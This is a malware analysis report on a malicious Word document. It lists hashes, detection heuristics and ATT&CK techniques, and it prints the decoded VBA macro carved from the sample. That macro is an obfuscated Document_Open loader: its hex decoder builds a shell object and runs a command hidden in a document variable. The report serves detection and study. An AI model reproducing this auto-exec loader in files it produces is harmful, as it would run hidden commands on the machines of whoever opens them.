Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f571d41aaeb6055…

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-09-12 14:15:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: d78ce52a8661ad871d6de902c7d6d9d0 SHA-1: f558dec9a4d7fabf08ae5ddc4350e953c7958bf1 SHA-256: 3f571d41aaeb60552c06eeb74084fbc62b0d05111a4ab83fd6739efd3bffc354
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains obfuscated VBA macros designed to execute automatically upon opening the document via the Document_Open subroutine. The script utilizes CreateObject and CallByName to invoke external code, likely a second-stage payload. The specific payload and its ultimate destination are not fully discernible due to obfuscation, but the technique strongly suggests a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6756955-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6756955-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1079 bytes
SHA-256: 433393307c72eabd966584a71a63b1e7bce422f8c9e3f944de247cd45f6d9f96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function F_(ByVal ZIJ_ As String)
Dim XHY_ As String
Dim EW_ As Long
For EW_ = 1 To Len(ZIJ_) Step 2
    XHY_ = XHY_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(ZIJ_, EW_, 2)) - 48)
Next
F_ = XHY_
End Function
Sub Document_Open()
Application.Run "TYL_"
End Sub
Private Sub TYL_()
CallByName CreateObject(F_("878393A299A0A45E8398959C9C")), F_("82A59E"), VbMethod, F_(ActiveDocument.Variables("TYUUTAGGSZ").Value), 0, True
End Sub

Private Function KAW_() As String
Select Case FSB_: Case Is >= 181: CH_ = "CROQYRHD_": Case Is >= 31: ZYQ_ = "BEIMST_": Case Is >= 96: TL_ = "CGKEY_": Case Else: BY_ = "TOPFLHU_": End Select:For  = 25 To 85:NGOOLC_(aAORPTAILLQ_ & JWMZQPW_(34, 4), 11)):Next i:KAW_ = EZJWSXZQ_:
End Function